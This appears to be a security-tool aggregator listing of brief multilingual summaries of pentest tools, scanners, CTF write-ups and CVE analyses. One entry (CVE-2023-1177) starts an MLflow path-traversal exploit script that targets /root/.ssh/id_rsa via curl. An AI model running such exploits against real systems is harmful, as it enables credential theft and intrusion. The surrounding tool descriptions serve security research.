ReconAIzer

ReconAIzer ReconAIzer는 OpenAI를 활용하여 버그 바운티 헌터가 리콘 프로세스를 최적화할 수 있도록 돕는 강력한 Jython 확장 프로그램입니다. 이 확장 프로그램은 다양한 작업을 자동화하여 보안 연구원이 취약점을 식별하고 악용하는 것을 더 쉽고 빠르게 만듭니다. 설치가 완료되면 ReconAIzer는 컨텍스트 메뉴와 결과를 확인할 수 있는 전용 탭을 추가합니다: 전제 조건 Burp Suite Jython Standalone Jar 설치 다음 단계에 따라 Burp Suite에 ReconAIzer 확장 프로그램...

jwt_tool

The JSON Web Token Toolkit v2 jwttool.py is a toolkit for validating, forging, scanning and tampering JWTs JSON Web Tokens. Its functionality includes: Checking the validity of a token Testing for known exploits: CVE-2015-2951 The alg=none signature-bypass vulnerability CVE-2016-10555 The RS/HS25...

CTF-CVE-2019-9053-GTFOBins

CTF, CVE-2019-9053, GTFOBins 나는 https://tryhackme.com/의 머신과 나만의 Kali on WSL 을 활용하여 이 연습을 수행했으며, 이는 CTF 챌린지의 일부입니다. 다음 정보가 챌린지를 해결하는 데 도움이 되었습니다: vim https://gtfobins.github.io/gtfobins/vim/ 및 https://gtfobins.github.io/ sudoers https://help.ubuntu.com/community/Sudoers sudo...

strace

strace - the linux syscall tracer This is strace -- a diagnostic, debugging and instructional userspace utility with a traditional command-line interface for Linux. It is used to monitor and tamper with interactions between processes and the Linux kernel, which include system calls, signal...

rtl8812au

RTL8812AU/21AU and RTL8814AU Wireless drivers Only for use with Linux & Android THESE DRIVERS IS DEPRECATED. Use the mac80211 drivers over at https://github.com/lwfinger/rtw88 Important! root@kitploit: Use "ip" and "iw" instead of "ifconfig" and "iwconfig" It's described further down, READ THE...

rtl8812au

RTL8812AU/21AU 및 RTL8814AU 무선 드라이버 Linux 및 Android 전용 이 드라이버는 더 이상 사용되지 않습니다. 대신 mac80211 드라이버를 사용하세요: https://github.com/lwfinger/rtw88 중요! root@kitploit: "ifconfig" 및 "iwconfig" 대신 "ip"와 "iw"를 사용하세요. 아래에 자세히 설명되어 있습니다. README를 읽으세요! 참고: TP-Link AC600 및 잠재적으로 다른 장치에서 회귀 문제가 있습니다. 현재 해결 방법은 이전 커밋...

GoGhost

GoGhost GoGhost는 대량 SMBGhost 스캔을 위한 고성능, 경량, 휴대용 오픈 소스 도구입니다. 설치 Windows 바이너리 또는 Linux 바이너리를 다운로드할 수 있습니다. 또는 GoGhost는 네이티브 Golang 라이브러리를 사용하므로 위의 라인으로 컴파일하면 됩니다: root@kitploit: go build GoGhost.go 사용 옵션 GoGhost는 3초 미만에 25,000개의 IP 주소를 스캔했으며, NMAP은 600초 이상 걸렸습니다. -iL FILE -iL 옵션을 사용하면 파일에 CIDR 목록...

CVE-2019-11932

CVE-2019-11932 WhatsAppのダブルフリー脆弱性がどのようにRCEになるか このブログ記事では、Android版WhatsAppで発見したダブルフリー（二重解放）脆弱性と、それをRCEにした方法について共有します。この問題はFacebookに報告しました。Facebookはこの問題を認識し、WhatsAppバージョン2.19.244で正式にパッチを公開しました。Facebookはこの問題に対するCVE-2019-11932の確保も支援してくれました。...

ps.sh

ps.sh ps.sh는 지정된 대상 호스트들에서 포트 스캔을 자동화하는 bash 스크립트입니다. 이 스크립트의 목표는 스캔 시간을 줄이고, 스캔 효율성을 높이며, 워크플로우를 자동화하는 것입니다. 리소스 Features Installation Usage Contributing Licensing Credits Contributors Dependencies Features 다양한 워크플로우를 사용한 자동화된 서비스 탐지: nmap2nmap: 포트 발견 및 서비스 발견 모두 Nmap 사용. masscan2nmap: 포트 발견에...

CVE-2023-1177

CVE-2023-1177 | | MLFlow 경로 탐색 | MLflow 2.2.0에서 테스트됨 | src: https://github.com/iumiro/CVE-2023-1177-MLFlow | .. code-block:: bash !/bin/bash RAND="EXPLOIT-$1+$RANDOM%9999" URL="http://172.17.0.2:6001" FILE='/root/.ssh/idrsa' curl -vX POST "$URL/ajax-api/2.0/mlflow/registered-models/create" -d...

munin

root@kitploit: | | | | | \ | | | | | | \ \ | | | | \ \ /. | | | | | | | | | | | | | | | | | | | | /| || || || ||| || || || || || // / /'" " Online Hash Checker for Virustotal and Other Services Florian Roth Munin이란? Munin은 다양한 온라인 소스에서 유용한 정보를 검색하는 온라인 해시 검사 유틸리티입니다. 현재 버전의 Munin은 다음 서비스를 조회합니다:...

oletools

python-oletools oletools is a package of python tools to analyze Microsoft OLE2 files also called Structured Storage, Compound File Binary Format or Compound Document File Format, such as Microsoft Office 97-2003 documents, MSI files or Outlook messages, mainly for malware analysis, forensics and...

fail2ban

root@kitploit: / | | | | / | | |/ /| ' / | ' \ || ,||/|./,|||| v1.1.0.dev1 20??/??/?? Fail2Ban: ban hosts that cause multiple authentication errors Fail2Ban scans log files like /var/log/auth.log and bans IP addresses conducting too many failed login attempts. It does this by updating system...

OmniScan

OmniScan 종합 취약점 스캐너 OmniScan 은 Python 기반의 경량 다중 엔진 취약점 스캐너로, 레드 팀 운영 및 보안 연구를 위해 설계되었습니다. 경량 Nuclei 엔진Lite과 Afrog 엔진을 통합했을 뿐만 아니라 강력한 자산 수집 및 결과 관리 기능을 제공합니다. 핵심 기능 1. 다중 엔진 지원 Nuclei Lite 엔진 내장 : Python 네이티브로 구현된 Nuclei 핵심 로직으로, Go 환경에 의존하지 않습니다. 보안 강화 : simpleeval로 eval을 대체하고 샌드박스 환경에서 DSL 표현식을...

wcw-cyberring-pav-decryptor

WCW CyberRing PAV復号化ツール 1999年製プロプライエタリなビデオDRMシステムの暗号解析。静的バイナリ解析と既知平文攻撃により、51分の失われたメディアを復元。 復元された「CyberRing」試合のフレーム。WCWのレスラーはブルースクリーンで撮影され、火炎効果のあるCGIアリーナに合成された。これが1999年のインタラクティブ・エンターテインメントの姿だった。 背景 WCW Internet Powerdisk は、1999年にWCW Magazineに同梱されたプロモーション用CD-ROMである。UITという企業が開発した PAVENCRYPT...

enumy

Enumy Enumy is an ultra fast portable executable that you drop on target Linux machine during a pentest or CTF in the post exploitation phase. Running enumy will enumerate the box for common security vulnerabilities. Installation You can download the final binary from the release x86 or x64 tab...

cerbrutus

Cerbrutus Python으로 작성된 모듈식 무차별 대입 도구로, SSH 및 FTP그리고 가까운 미래에 다른 네트워크 서비스에 대한 매우 빠른 패스워드 스프레이를 위해 설계되었습니다. 곧 출시 예정: SMB, HTTPs POST, HTTPs GET, HTTP BASIC AUTH 테스트 및 기여에 감사드립니다: @0dayctf, Rondons, Enigma, 001 설치: root@kitploit: cd /opt git clone https://github.com/Cerbrutus-BruteForcer/cerbrutus 사용...

Gin-Vue-admin-poc-CVE-2022-21660

Gin-Vue-admin垂直権限昇格の脆弱性とコード分析 - CVE-2022-21660 一、はじめに 各位の皆様、このプロジェクトにスターを一つお願いいたします。http https://github.com/flipped-aurora/gin-vue-admin/ root@kitploit: 文章を書き終えた後、CVEの申請には多少の手間がかかりましたが、何とか取得できました。GitHubのスタッフの対応は迅速でした。 ps CVE申請前に、既にCNVDに提出済み 二、環境構築 公式チュートリアルに従ってbash git clone...

tird

🏠 홈 📑 명세서 📜 매뉴얼 페이지 📄 입력 옵션 📖 튜토리얼 ❓ FAQ 📥 설치 tird & tirdFS tird /tɪrd/ “this is random data”의 약어는 메타데이터를 최소화하고 암호화된 데이터를 숨기는 파일 암호화 도구입니다. tird를 사용하면 다음을 할 수 있습니다: 1. 컨테이너나 키 파일로 사용할 무작위 데이터로 채워진 파일을 생성할 수 있습니다. 2. 블록 장치와 일반 파일의 내용을 무작위 데이터로 덮어써서 컨테이너를 준비하거나 잔여 데이터를 제거할 수 있습니다. 3. 키 파일과 암호로 파일 내...

renode

Renode Copyright c 2010-2026 Antmicro Renode란 무엇인가요? Renode는 Antmicro가 다중 노드 임베디드 네트워크유선 및 무선 모두를 위한 가상 개발 도구로 만들었으며, 효과적이고 테스트되었으며 안전한 IoT 시스템을 구축하기 위한 확장 가능한 워크플로우를 가능하게 하는 데 목적이 있습니다. Renode를 사용하면 IoT 장치용 수정되지 않은 소프트웨어를 개발, 테스트, 디버깅 및 시뮬레이션하는 것이 빠르고 비용 효율적이며 안정적입니다. 지원되는 아키텍처는 다음과 같습니다: ARMv7 ...